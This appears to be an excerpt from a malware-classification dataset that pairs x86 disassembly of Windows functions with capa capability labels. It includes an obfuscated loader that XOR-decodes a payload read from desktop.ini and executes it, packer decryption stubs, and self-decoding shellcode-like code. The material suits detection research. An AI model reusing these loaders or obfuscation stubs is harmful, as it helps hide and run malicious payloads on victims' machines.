joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x43b647
Capabilities:
Encode data using xor

Disassembly:
push 0x43b3c1
pop edx
add edi, edi
or esi, esi
push 0xdc3d004e
mov edi, dword [esp]
add esp, 4
call fcn.0043b689
sub edi, esi
xor dword [ecx], edx
add edi, 0xc8f630fa
inc esi
inc ecx
or esi, esi
add esi, 0xab5e0938
cmp ecx, ebx
jne fcn.0043b647
inc esi
add esi, 1
mov edi, 0x51743be6
ret
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40de38
nop
nop
mov ecx, 0x575d6aa4
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..data
mov ebx, 0x4304d8
nop
mov ecx, 0x2e741ca2
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x433084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x412210
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41223d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41223d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x7ffe53be
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword fs:[0x30]
not eax
not eax
push eax
pop eax
add al, 4
sub al, 4
push eax
pop eax
push bx
inc esp
inc esp
and al, 0xff
push bx
inc esp
inc esp
push eax
pop eax
pushf
popf
push es
pop ds
xor eax, ecx
xor eax, ecx
push es
pop ds
xor eax, ecx
xor eax, ecx
push es
pop ds
push bx
inc esp
inc esp
and al, 0xff
push bx
inc esp
inc esp
add al, 0
xor eax, ecx
xor eax, ecx
inc esi
dec esi
not eax
not eax
add al, 0
push bx
inc esp
inc esp
push es
pop ds
not eax
not eax
push eax
pop eax
push bx
inc esp
inc esp
push es
pop ds
add eax, 0
call 0x7ffe5420
pop edx
push eax
pop eax
push es
pop ds
xor dx, dx
push eax
pop eax
push bx
inc esp
inc esp
clc
add edx, 0xd5e0
push bx
inc esp
inc esp
push es
pop ds
and al, 0xff
xor ecx, ecx
inc esi
dec esi
lea esp, [esp]
mov cl, 0x1e
push eax
pop eax
push eax
pop eax
xor byte [ecx + edx], 0xd7
loop 0x7ffe544a
nop
inc esi
dec esi
push dword fs:[0x24]
push es
pop ds
push es
pop ds
pop dword [edx + 0xa]
push eax
pop eax
stc
mov cl, 0xff
add al, 0
not eax
not eax
push edx
loop 0x7ffe546c
push es
pop ds
push bx
inc esp
inc esp
clc
mov dword [edx + 0x11], 0xffffacbb
push bx
inc esp
inc esp
mov ecx, dword [eax + 0x2c]
add al, 0
add al, 4
sub al, 4
cld
mov dword [edx + 0x1b], ecx
push bx
inc esp
inc esp
push eax
pop eax
mov dword [edx + 0x100], ecx
push es
pop ds
nop
mov dword [eax + 0x2c], esp
push 0
add al, 4
sub al, 4
clc
push 0
add al, 4
sub al, 4
push eax
pop eax
push 0
stc
push 0
inc esi
dec esi
not eax
not eax
inc esi
dec esi
push 0x30
clc
push 0x20
and al, 0xff
push 0
not eax
not eax
cld
push 0
push eax
pop eax
add edx, 0xffff7f31
push es
pop ds
inc esi
dec esi
cld
push edx
push edx
xor eax, ecx
xor eax, ecx
cld
push 0
add al, 0
call dword [edx + 0x8212]
push eax
pop eax
add al, 4
sub al, 4
nop
and al, 0xff
add esp, 0x3f8
push eax
pop eax
xor eax, eax
xor eax, ecx
xor eax, ecx
add al, 0
stc
inc eax
inc esi
dec esi
ret 0xc
Function at 0x4020fd
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], esp
push 1
push 0x4302a2
push 0x4302a2
mov ebx, dword [ebp + 8]
push dword [ebx]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x40214d
push 0x12
push 0x408894c
push 6
call fcn.0041f11a
add esp, 0xc
jmp 0x402152
mov esp, ebp
pop ebp
ret 4
Function at 0x41583b
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push 0x28
call fcn.0041f10e
add esp, 4
mov dword [ebp - 4], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 0xa
rep stosd dword es:[edi], eax
push ebx
push 8
call fcn.0041f10e
add esp, 4
pop ebx
push ebx
mov dword [ebx], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
pop ebx
mov dword [ebp - 8], esp
mov eax, dword [ebp - 4]
push eax
push 0x24
call fcn.0041f10e
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], eax
push ebx
mov ebx, dword [ebx]
mov eax, dword [ebx]
add ebx, 4
mov word [edi], ax
add edi, 2
mov eax, dword [ebx]
add ebx, 4
mov word [edi], ax
add edi, 2
pop ebx
add ebx, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov dword [edi], ebx
add edi, 4
add ebx, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov word [edi], ax
add edi, 2
mov eax, dword [ebx]
add ebx, 4
mov word [edi], ax
add edi, 2
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x41593e
push 0
push 0x4088fb1
push 6
call fcn.0041f11a
add esp, 0xc
mov ebx, dword [ebp - 0xc]
push ebx
mov edi, dword [ebp - 0x10]
push edi
mov edi, dword [edi]
push ebx
mov ax, word [ebx]
add ebx, 2
mov dword [edi], eax
add edi, 4
mov ax, word [ebx]
add ebx, 2
mov dword [edi], eax
add edi, 4
pop ebx
add ebx, 4
pop edi
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
add edi, 4
add ebx, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov ax, word [ebx]
add ebx, 2
mov dword [edi], eax
add edi, 4
mov ax, word [ebx]
add ebx, 2
mov dword [edi], eax
add edi, 4
call fcn.0041f114
add esp, 4
cmp dword [ebp + 8], 1
jge 0x415a08
mov ebx, dword [ebp - 4]
add ebx, 0x14
mov dword [ebp - 8], ebx
mov ebx, dword [ebp - 8]
fild dword [ebx]
fstp qword [ebp - 0x10]
fld qword [ebp - 0x10]
fmul qword [0x430ffd]
fstp qword [ebp - 0x18]
fld qword [ebp - 0x18]
fadd qword [0x430ffd]
fstp qword [ebp - 0x20]
fld qword [ebp - 0x20]
call fcn.00401272
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
jmp 0x415a10
push eax
mov ebx, dword [ebp - 4]
push ebx
push ebx
mov ebx, dword [ebx]
push ebx
call fcn.0041f114
add esp, 4
pop ebx
call fcn.0041f114
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4
Function at 0x416038
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
mov dword [ebp - 8], esp
push 1
push 0
push 0
push 0x11
push 2
push 2
call dword [sym.imp.WS2_32.dll_WSASocketA]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x41608f
push 0x19
push 0x4088ebf
push 6
call fcn.0041f11a
add esp, 0xc
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jle 0x416102
push 1
push dword [ebp - 4]
call fcn.00416110
cmp dword [ebp + 0xc], 0
je 0x4160c1
cmp dword [ebp + 8], 1
je 0x4160c1
xor eax, eax
jmp 0x4160c6
mov eax, 1
test eax, eax
je 0x416102
push 1
push dword [ebp - 4]
call fcn.004161a9
push 1
push dword [ebp - 4]
call fcn.00416242
push 1
push dword [ebp - 4]
call fcn.004163ea
push 0
push dword [ebp - 4]
call fcn.00416483
mov eax, dword [ebp - 4]
jmp 0x41610a
mov esp, ebp
pop ebp
ret 8

Function at 0x416110
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 4], esp
push 0
push dword [ebp + 0xc]
lea eax, [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyn]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x41614e
push 0x47
push 0x4088ead
push 6
call fcn.0041f11a
add esp, 0xc
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push 1
push dword [ebp - 8]
push 0x20
push 0xffff
push dword [ebp + 8]
call dword [sym.imp.WSOCK32.dll_setsockopt]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x41618f
push 0x47
push 0x4088ead
push 6
call fcn.0041f11a
add esp, 0xc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
mov eax, 0
sete al
jmp 0x4161a3
mov esp, ebp
pop ebp
ret 8

Function at 0x4161a9
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 4], esp
push 0
push dword [ebp + 0xc]
lea eax, [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyn]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x4161e7
push 0x47
push 0x4088eac
push 6
call fcn.0041f11a
add esp, 0xc
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push 1
push dword [ebp - 8]
push 4
push 0xffff
push dword [ebp + 8]
call dword [sym.imp.WSOCK32.dll_setsockopt]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x416228
push 0x47
push 0x4088eac
push 6
call fcn.0041f11a
add esp, 0xc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
mov eax, 0
sete al
jmp 0x41623c
mov esp, ebp
pop ebp
ret 8
Function at 0x416242
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push 8
call fcn.0041f10e
add esp, 4
mov dword [ebp - 4], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebp - 8], 0
cmp dword [ebp + 0xc], 0
je 0x41628e
mov ebx, dword [ebp - 4]
mov dword [ebp - 0xc], ebx
mov ebx, dword [ebp - 0xc]
mov word [ebx], 1
jmp 0x41629c
mov ebx, dword [ebp - 4]
mov dword [ebp - 0xc], ebx
mov ebx, dword [ebp - 0xc]
mov word [ebx], 0
mov ebx, dword [ebp - 4]
add ebx, 4
mov dword [ebp - 0xc], ebx
mov ebx, dword [ebp - 0xc]
mov word [ebx], 0
mov dword [ebp - 0xc], esp
mov eax, dword [ebp - 4]
push eax
push 4
call fcn.0041f10e
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], eax
mov eax, dword [ebx]
add ebx, 4
mov word [edi], ax
add edi, 2
mov eax, dword [ebx]
add ebx, 4
mov word [edi], ax
add edi, 2
call dword [sym.imp.KERNEL32.dll_LocalSize]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x416307
push 0xcd
push 0x4088ea9
push 6
call fcn.0041f11a
add esp, 0xc
push eax
mov ebx, dword [ebp - 0x10]
push ebx
mov edi, dword [ebp - 0x14]
mov ax, word [ebx]
add ebx, 2
mov dword [edi], eax
add edi, 4
mov ax, word [ebx]
add ebx, 2
mov dword [edi], eax
add edi, 4
call fcn.0041f114
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push dword [ebp - 8]
mov eax, dword [ebp - 4]
push eax
push 4
call fcn.0041f10e
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], eax
mov eax, dword [ebx]
add ebx, 4
mov word [edi], ax
add edi, 2
mov eax, dword [ebx]
add ebx, 4
mov word [edi], ax
add edi, 2
push 0x80
push 0xffff
push dword [ebp + 8]
call dword [sym.imp.WSOCK32.dll_setsockopt]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x41639b
push 0x10c
push 0x4088ea9
push 6
call fcn.0041f11a
add esp, 0xc
push eax
mov ebx, dword [ebp - 0x10]
push ebx
mov edi, dword [ebp - 0x14]
mov ax, word [ebx]
add ebx, 2
mov dword [edi], eax
add edi, 4
mov ax, word [ebx]
add ebx, 2
mov dword [edi], eax
add edi, 4
call fcn.0041f114
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
mov eax, 0
sete al
jmp 0x4163d6
push eax
mov ebx, dword [ebp - 4]
push ebx
call fcn.0041f114
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 8

Function at 0x4163ea
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 4], esp
push 0
push dword [ebp + 0xc]
lea eax, [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyn]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x416428
push 0x47
push 0x4088eb9
push 6
call fcn.0041f11a
add esp, 0xc
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push 1
push dword [ebp - 8]
push 1
push 6
push dword [ebp + 8]
call dword [sym.imp.WSOCK32.dll_setsockopt]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x416469
push 0x47
push 0x4088eb9
push 6
call fcn.0041f11a
add esp, 0xc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
mov eax, 0
sete al
jmp 0x41647d
mov esp, ebp
pop ebp
ret 8
Function at 0x416483
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 4], esp
push 0
push dword [ebp + 0xc]
lea eax, [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyn]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x4164c1
push 0x47
push 0x4088eae
push 6
call fcn.0041f11a
add esp, 0xc
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push 1
push dword [ebp - 8]
push 0xa
push 0
push dword [ebp + 8]
call dword [sym.imp.WSOCK32.dll_setsockopt]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x416502
push 0x47
push 0x4088eae
push 6
call fcn.0041f11a
add esp, 0xc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
mov eax, 0
sete al
jmp 0x416516
mov esp, ebp
pop ebp
ret 8

Function at 0x41651c
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 4], esp
push 0
push dword [ebp + 0xc]
lea eax, [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyn]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x41655a
push 0x47
push 0x4088eb2
push 6
call fcn.0041f11a
add esp, 0xc
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push 4
push dword [ebp - 8]
push 0x1002
push 0xffff
push dword [ebp + 8]
call dword [sym.imp.WSOCK32.dll_setsockopt]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x41659b
push 0x47
push 0x4088eb2
push 6
call fcn.0041f11a
add esp, 0xc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
mov eax, 0
sete al
jmp 0x4165af
mov esp, ebp
pop ebp
ret 8
Function at 0x416dfb
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push dword [ebp + 8]
call fcn.00416ef2
mov dword [ebp - 4], eax
fild dword [ebp + 8]
fstp qword [ebp - 0xc]
fld qword [ebp - 0xc]
fadd qword [0x43110c]
fstp qword [ebp - 0x14]
push dword [ebp + 8]
call fcn.00416f5d
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], esp
push 0
push dword [ebp + 8]
mov eax, 0x10
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x18]
mov eax, 0
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
mov eax, 0
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push 1
fld qword [ebp - 0x14]
call fcn.00401272
push eax
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_WSARecvFrom]
nop
nop
nop
nop
cmp dword [ebp - 0x1c], esp
je 0x416e95
push 0x8e
push 0x4088e43
push 6
call fcn.0041f11a
add esp, 0xc
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xffffffff
jne 0x416ee2
mov dword [ebp - 4], esp
call dword [sym.imp.KERNEL32.dll_GetLastError]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x416ecb
push 0xed
push 0x4088e43
push 6
call fcn.0041f11a
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x3e5
mov eax, 0
sete al
jmp 0x416eec
mov eax, 1
jmp 0x416eec
mov esp, ebp
pop ebp
ret 4
Function at 0x41b09c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], esp
push dword [ebp + 0x1c]
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x41b0e6
push 0x19
push 0x40887a1
push 6
call fcn.0041f11a
add esp, 0xc
mov ebx, dword [ebp + 0x14]
mov dword [ebx], eax
mov ebx, dword [ebp + 0x14]
cmp dword [ebx], 0
jle 0x41b13e
cmp dword [ebp + 0x24], 0
je 0x41b13e
push 0xffffffff
mov ebx, dword [ebp + 0x14]
push dword [ebx]
call fcn.0041b157
mov dword [ebp - 4], esp
mov ebx, dword [ebp + 0x14]
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x41b13e
push 0xd0
push 0x40887a1
push 6
call fcn.0041f11a
add esp, 0xc
mov ebx, dword [ebp + 0x14]
cmp dword [ebx], 0
mov eax, 0
setne al
jmp 0x41b151
mov esp, ebp
pop ebp
ret 0x24
Function at 0x41b157
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], esp
push 0xc
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
nop
nop
nop
nop
cmp dword [ebp - 0x14], esp
je 0x41b1af
push 0x19
push 0x40887a6
push 6
call fcn.0041f11a
add esp, 0xc
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], esp
push 4
lea eax, [ebp + 8]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_RtlMoveMemory]
nop
nop
nop
nop
cmp dword [ebp - 0x14], esp
je 0x41b1e7
push 0x3f
push 0x40887a6
push 6
call fcn.0041f11a
add esp, 0xc
fild dword [ebp - 4]
fstp qword [ebp - 0x18]
fld qword [ebp - 0x18]
fadd qword [0x430f76]
fstp qword [ebp - 0x20]
mov dword [ebp - 0x24], esp
push 4
lea eax, [ebp + 0xc]
push eax
fld qword [ebp - 0x20]
call fcn.00401272
push eax
call dword [sym.imp.KERNEL32.dll_RtlMoveMemory]
nop
nop
nop
nop
cmp dword [ebp - 0x24], esp
je 0x41b234
push 0x7b
push 0x40887a6
push 6
call fcn.0041f11a
add esp, 0xc
mov dword [ebp - 0x14], esp
mov eax, 0
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
push eax
push 0
push dword [ebp - 4]
push 0x41b473
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
nop
nop
nop
nop
cmp dword [ebp - 0x14], esp
je 0x41b280
push 0xc8
push 0x40887a6
push 6
call fcn.0041f11a
add esp, 0xc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jle 0x41b33d
mov dword [ebp - 0x14], esp
push 1
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
nop
nop
nop
cmp dword [ebp - 0x14], esp
je 0x41b2be
push 0x16e
push 0x40887a6
push 6
call fcn.0041f11a
add esp, 0xc
mov dword [ebp - 0xc], eax
push 0
mov ebx, 0x350
call fcn.00420d50
add esp, 4
cmp dword [ebp - 0xc], 0
jne 0x41b28d
mov dword [ebp - 0x14], esp
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
nop
nop
nop
nop
cmp dword [ebp - 0x14], esp
je 0x41b309
push 0x1dc
push 0x40887a6
push 6
call fcn.0041f11a
add esp, 0xc
mov dword [ebp - 0x14], esp
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
nop
nop
nop
cmp dword [ebp - 0x14], esp
je 0x41b335
push 0x1fd
push 0x40887a6
push 6
call fcn.0041f11a
add esp, 0xc
mov eax, dword [ebp - 0x10]
jmp 0x41b373
mov dword [ebp - 0x14], esp
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LocalFree]
nop
nop
nop
nop
cmp dword [ebp - 0x14], esp
je 0x41b369
push 0x233
push 0x40887a6
push 6
call fcn.0041f11a
add esp, 0xc
mov eax, 0xffffffff
jmp 0x41b373
mov esp, ebp
pop ebp
ret 8
Function at 0x420320
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push esi
push edi
mov edi, dword [esp + 0x10]
xor esi, esi
test edi, edi
je 0x42039e
push esi
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x42039e
push ebx
call dword [sym.imp.USER32.dll_EmptyClipboard]
push edi
call fcn.00422a40
add esp, 4
inc eax
push eax
push 0x42
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x420392
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov edx, eax
or ecx, 0xffffffff
xor eax, eax
push ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
mov esi, 1
call dword [sym.imp.USER32.dll_CloseClipboard]
pop ebx
mov eax, esi
pop edi
pop esi
ret
mov eax, esi
pop edi
pop esi
ret

Function at 0x420780
Capabilities:
Read .ini file

Disassembly:
push ebx
push ebp
push esi
push edi
push 0x400
call fcn.0042439c
mov ebx, dword [esp + 0x1c]
mov ebp, dword [esp + 0x40]
mov ecx, dword [esp + 0x28]
add esp, 4
mov esi, eax
mov eax, dword [esp + 0x30]
push ebx
push 0x400
push esi
push ebp
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp eax, 0x3ff
jl 0x4207ea
push esi
lea edi, [eax + 0x400]
call fcn.00424391
push edi
call fcn.0042439c
mov edx, dword [esp + 0x38]
add esp, 8
mov esi, eax
mov eax, dword [esp + 0x24]
push ebx
push edi
push esi
push ebp
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
dec edi
cmp eax, edi
jge 0x4207ba
push esi
xor edi, edi
call fcn.00422a40
add esp, 4
test eax, eax
je 0x420805
push eax
push esi
call fcn.00422e40
add esp, 8
mov edi, eax
push esi
call fcn.00424391
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x42e000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x42e030
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
popal
nop
nop
jmp fcn.00401219